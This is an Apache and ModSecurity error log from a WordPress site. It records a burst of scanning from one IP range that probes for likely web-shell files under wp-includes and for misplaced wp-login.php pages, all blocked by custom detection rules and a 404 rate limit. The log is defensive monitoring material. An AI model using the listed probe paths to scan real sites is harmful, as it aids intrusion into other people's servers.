[Sat Feb 07 22:13:10.201571 2026] [:error] [pid 43182:tid 43198] [client 31.171.130.135:47877] [client 31.171.130.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aYdIdvEC82JnxmrnFYnykQAAAU4"]
[Sat Feb 07 22:13:11.145994 2026] [:error] [pid 58058:tid 58072] [client 31.171.130.147:28715] [client 31.171.130.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aYdId7z-Qlvs65S4DP9HcwAAAYs"]
[Sat Feb 07 22:13:12.150314 2026] [:error] [pid 30684:tid 30693] [client 31.171.130.110:28983] [client 31.171.130.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aYdIeLqwdxwowLt-_Lwy0wAAAcY"]
[Sat Feb 07 22:13:14.195630 2026] [proxy_fcgi:error] [pid 50780:tid 50793] [client 31.171.130.138:47493] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:15.195627 2026] [proxy_fcgi:error] [pid 50780:tid 50792] [client 31.171.130.138:47493] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:15.718614 2026] [proxy_fcgi:error] [pid 50780:tid 50797] [client 31.171.130.138:47493] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:17.200344 2026] [:error] [pid 50780:tid 50790] [client 31.171.130.138:47493] [client 31.171.130.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aYdIfetUmIu2JHM2CrviAAAAAMg"]
[Sat Feb 07 22:13:19.781382 2026] [:error] [pid 50672:tid 50708] [client 31.171.130.121:28947] [client 31.171.130.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.121, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aYdIfw9o0jq1XS8Nv7NmoAAAAEA"]
[Sat Feb 07 22:13:20.264044 2026] [proxy_fcgi:error] [pid 50672:tid 50713] [client 31.171.130.121:28947] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:24.645613 2026] [proxy_fcgi:error] [pid 50672:tid 50712] [client 31.171.130.121:28947] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:25.125611 2026] [proxy_fcgi:error] [pid 50672:tid 50709] [client 31.171.130.121:28947] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:29.111436 2026] [:error] [pid 50672:tid 50713] [client 31.171.130.121:28947] [client 31.171.130.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aYdIiQ9o0jq1XS8Nv7NnIgAAAEU"]
[Sat Feb 07 22:13:30.554610 2026] [proxy_fcgi:error] [pid 50673:tid 50746] [client 31.171.130.150:56875] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:31.102641 2026] [:error] [pid 50673:tid 50738] [client 31.171.130.150:56875] [client 31.171.130.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.150, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aYdIi2VwLsaZ7aKO2cky-wAAAIM"]
[Sat Feb 07 22:13:32.072853 2026] [:error] [pid 50673:tid 50758] [client 31.171.130.150:56875] [client 31.171.130.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aYdIjGVwLsaZ7aKO2ckzAwAAAJc"]
[Sat Feb 07 22:13:33.570609 2026] [proxy_fcgi:error] [pid 30684:tid 30689] [client 31.171.130.146:36723] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:35.073495 2026] [proxy_fcgi:error] [pid 30684:tid 30699] [client 31.171.130.146:36723] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:36.047604 2026] [proxy_fcgi:error] [pid 30684:tid 30693] [client 31.171.130.146:36723] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:37.064609 2026] [:error] [pid 30684:tid 30704] [client 31.171.130.146:36723] [client 31.171.130.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aYdIkbqwdxwowLt-_Lwz0QAAAdE"]
[Sat Feb 07 22:13:38.119608 2026] [proxy_fcgi:error] [pid 50780:tid 50787] [client 31.171.130.109:45213] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:39.622600 2026] [proxy_fcgi:error] [pid 50780:tid 50789] [client 31.171.130.109:45213] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:40.603633 2026] [proxy_fcgi:error] [pid 50780:tid 50800] [client 31.171.130.109:45213] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:41.597610 2026] [proxy_fcgi:error] [pid 50780:tid 50798] [client 31.171.130.109:45213] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:42.092352 2026] [:error] [pid 50780:tid 50790] [client 31.171.130.109:45213] [client 31.171.130.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aYdIlutUmIu2JHM2CrviywAAAMg"]
[Sat Feb 07 22:13:43.094045 2026] [proxy_fcgi:error] [pid 55157:tid 55177] [client 31.171.130.146:31051] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:46.452135 2026] [proxy_fcgi:error] [pid 55157:tid 55182] [client 31.171.130.146:31051] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:46.930317 2026] [:error] [pid 55157:tid 55174] [client 31.171.130.146:31051] [client 31.171.130.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aYdImn36JdtTn2bTEozs6QAAAQw"]
[Sat Feb 07 22:13:48.439760 2026] [proxy_fcgi:error] [pid 30684:tid 30705] [client 31.171.130.110:39715] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:49.626883 2026] [:error] [pid 30684:tid 30704] [client 31.171.130.110:39715] [client 31.171.130.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.110, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aYdInbqwdxwowLt-_Lw0aAAAAdE"]
[Sat Feb 07 22:13:50.130993 2026] [:error] [pid 30684:tid 30711] [client 31.171.130.110:39715] [client 31.171.130.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aYdInrqwdxwowLt-_Lw0awAAAdg"]
[Sat Feb 07 22:13:56.012617 2026] [proxy_fcgi:error] [pid 58058:tid 58071] [client 31.171.130.144:45359] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:58.030659 2026] [proxy_fcgi:error] [pid 58058:tid 58064] [client 31.171.130.144:45359] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:59.020080 2026] [proxy_fcgi:error] [pid 58058:tid 58068] [client 31.171.130.144:45359] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:59.495801 2026] [:error] [pid 58058:tid 58084] [client 31.171.130.144:45359] [client 31.171.130.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aYdIp7z-Qlvs65S4DP9JlQAAAZc"]
[Sat Feb 07 22:14:00.599719 2026] [proxy_fcgi:error] [pid 55157:tid 55186] [client 31.171.130.123:33399] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:02.115581 2026] [:error] [pid 55157:tid 55177] [client 31.171.130.123:33399] [client 31.171.130.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.123, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aYdIqn36JdtTn2bTEoztfwAAAQ8"]
[Sat Feb 07 22:14:02.624812 2026] [proxy_fcgi:error] [pid 55157:tid 55169] [client 31.171.130.123:33399] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:03.122622 2026] [proxy_fcgi:error] [pid 55157:tid 55174] [client 31.171.130.123:33399] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:03.600637 2026] [proxy_fcgi:error] [pid 55157:tid 55186] [client 31.171.130.123:33399] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:04.095259 2026] [:error] [pid 55157:tid 55174] [client 31.171.130.123:33399] [client 31.171.130.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aYdIrH36JdtTn2bTEoztoQAAAQw"]
[Sat Feb 07 22:14:05.070268 2026] [proxy_fcgi:error] [pid 43182:tid 43193] [client 31.171.130.148:46963] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:05.578874 2026] [:error] [pid 43182:tid 43186] [client 31.171.130.148:46963] [client 31.171.130.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aYdIrfEC82JnxmrnFYn00wAAAUI"]
[Sat Feb 07 22:14:07.106637 2026] [proxy_fcgi:error] [pid 55157:tid 55165] [client 31.171.130.137:21543] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:07.583443 2026] [:error] [pid 55157:tid 55174] [client 31.171.130.137:21543] [client 31.171.130.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aYdIr336JdtTn2bTEozt4AAAAQw"]
[Sat Feb 07 22:14:09.584624 2026] [proxy_fcgi:error] [pid 50672:tid 50726] [client 31.171.130.154:46893] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:10.058132 2026] [:error] [pid 50672:tid 50714] [client 31.171.130.154:46893] [client 31.171.130.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aYdIsg9o0jq1XS8Nv7NpLAAAAEY"]
[Sat Feb 07 22:14:11.123626 2026] [:error] [pid 50671:tid 50686] [client 31.171.130.109:42227] [client 31.171.130.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aYdIs7vqLohWBI_mqBPGvQAAAAY"]
[Sat Feb 07 22:14:12.123605 2026] [proxy_fcgi:error] [pid 50780:tid 50802] [client 31.171.130.161:63097] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:12.605616 2026] [proxy_fcgi:error] [pid 50780:tid 50786] [client 31.171.130.161:63097] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:14.566199 2026] [:error] [pid 50780:tid 50798] [client 31.171.130.161:63097] [client 31.171.130.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aYdItutUmIu2JHM2CrvjyQAAANA"]
[Sat Feb 07 22:14:16.024027 2026] [:error] [pid 50672:tid 50714] [client 31.171.130.134:50747] [client 31.171.130.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aYdIuA9o0jq1XS8Nv7NpeAAAAEY"]
[Sat Feb 07 22:14:17.028938 2026] [proxy_fcgi:error] [pid 58058:tid 58081] [client 31.171.130.164:25425] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:18.540644 2026] [:error] [pid 58058:tid 58072] [client 31.171.130.164:25425] [client 31.171.130.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aYdIurz-Qlvs65S4DP9KdQAAAYs"]
[Sat Feb 07 22:14:19.495763 2026] [proxy_fcgi:error] [pid 50672:tid 50732] [client 31.171.130.157:57709] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:20.603628 2026] [proxy_fcgi:error] [pid 50672:tid 50722] [client 31.171.130.157:57709] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:21.087258 2026] [:error] [pid 50672:tid 50718] [client 31.171.130.157:57709] [client 31.171.130.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aYdIvQ9o0jq1XS8Nv7NpuQAAAEo"]
[Sat Feb 07 22:14:22.037743 2026] [proxy_fcgi:error] [pid 50672:tid 50722] [client 31.171.130.164:29383] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:23.066289 2026] [:error] [pid 50672:tid 50714] [client 31.171.130.164:29383] [client 31.171.130.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aYdIvw9o0jq1XS8Nv7NpzgAAAEY"]
[Sat Feb 07 22:14:24.101610 2026] [proxy_fcgi:error] [pid 43182:tid 43184] [client 31.171.130.115:61311] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:24.613042 2026] [:error] [pid 43182:tid 43201] [client 31.171.130.115:61311] [client 31.171.130.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aYdIwPEC82JnxmrnFYn1wgAAAVE"]
[Sat Feb 07 22:14:26.545605 2026] [:error] [pid 58058:tid 58074] [client 31.171.130.114:38103] [client 31.171.130.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aYdIwrz-Qlvs65S4DP9KxAAAAY0"]
[Sat Feb 07 22:14:27.971078 2026] [proxy_fcgi:error] [pid 43182:tid 43204] [client 31.171.130.159:44481] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:28.970449 2026] [proxy_fcgi:error] [pid 43182:tid 43194] [client 31.171.130.159:44481] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:29.447151 2026] [proxy_fcgi:error] [pid 43182:tid 43208] [client 31.171.130.159:44481] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:30.429308 2026] [proxy_fcgi:error] [pid 43182:tid 43189] [client 31.171.130.159:44481] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:30.959164 2026] [:error] [pid 43182:tid 43204] [client 31.171.130.159:44481] [client 31.171.130.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aYdIxvEC82JnxmrnFYn2DgAAAVQ"]
[Sat Feb 07 22:14:31.938234 2026] [:error] [pid 50780:tid 50797] [client 31.171.130.146:34923] [client 31.171.130.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aYdIx-tUmIu2JHM2CrvkYgAAAM8"]
[Sat Feb 07 22:14:34.801221 2026] [:error] [pid 58058:tid 58064] [client 31.171.130.150:43379] [client 31.171.130.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aYdIyrz-Qlvs65S4DP9LIAAAAYM"]
[Sat Feb 07 22:14:35.779180 2026] [:error] [pid 50671:tid 50700] [client 31.171.130.115:43865] [client 31.171.130.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aYdIy7vqLohWBI_mqBPHmgAAABQ"]
[Sat Feb 07 22:14:36.782412 2026] [proxy_fcgi:error] [pid 30684:tid 30696] [client 31.171.130.163:64145] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:37.279939 2026] [:error] [pid 30684:tid 30691] [client 31.171.130.163:64145] [client 31.171.130.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aYdIzbqwdxwowLt-_Lw2LwAAAcQ"]
[Sat Feb 07 22:14:38.288599 2026] [:error] [pid 58058:tid 58078] [client 31.171.130.135:20561] [client 31.171.130.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aYdIzrz-Qlvs65S4DP9LSAAAAZE"]
[Sat Feb 07 22:14:39.243861 2026] [proxy_fcgi:error] [pid 58058:tid 58076] [client 31.171.130.136:45521] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:40.223286 2026] [:error] [pid 58058:tid 58085] [client 31.171.130.136:45521] [client 31.171.130.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aYdI0Lz-Qlvs65S4DP9LXgAAAZg"]
[Sat Feb 07 22:14:41.236349 2026] [:error] [pid 50780:tid 50798] [client 31.171.130.138:49351] [client 31.171.130.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aYdI0etUmIu2JHM2Crvk2wAAANA"]
[Sat Feb 07 22:14:42.190704 2026] [:error] [pid 50672:tid 50728] [client 31.171.130.133:64855] [client 31.171.130.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aYdI0g9o0jq1XS8Nv7NqqQAAAFQ"]
[Sat Feb 07 22:14:43.165357 2026] [:error] [pid 55157:tid 55172] [client 31.171.130.148:30905] [client 31.171.130.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aYdI0336JdtTn2bTEozvlwAAAQo"]
[Sat Feb 07 22:14:44.658444 2026] [:error] [pid 50780:tid 50801] [client 31.171.130.121:44521] [client 31.171.130.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aYdI1OtUmIu2JHM2Crvk_wAAANM"]
[Sat Feb 07 22:14:46.614663 2026] [:error] [pid 50673:tid 50739] [client 31.171.130.154:58919] [client 31.171.130.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aYdI1mVwLsaZ7aKO2ck2LAAAAIQ"]
[Sat Feb 07 22:14:47.619708 2026] [proxy_fcgi:error] [pid 43182:tid 43201] [client 31.171.130.113:28589] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:48.089043 2026] [:error] [pid 43182:tid 43188] [client 31.171.130.113:28589] [client 31.171.130.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aYdI2PEC82JnxmrnFYn2ygAAAUQ"]
[Sat Feb 07 22:14:50.169692 2026] [proxy_fcgi:error] [pid 30684:tid 30697] [client 31.171.130.162:24031] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:50.704975 2026] [:error] [pid 30684:tid 30696] [client 31.171.130.162:24031] [client 31.171.130.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aYdI2rqwdxwowLt-_Lw2sAAAAck"]
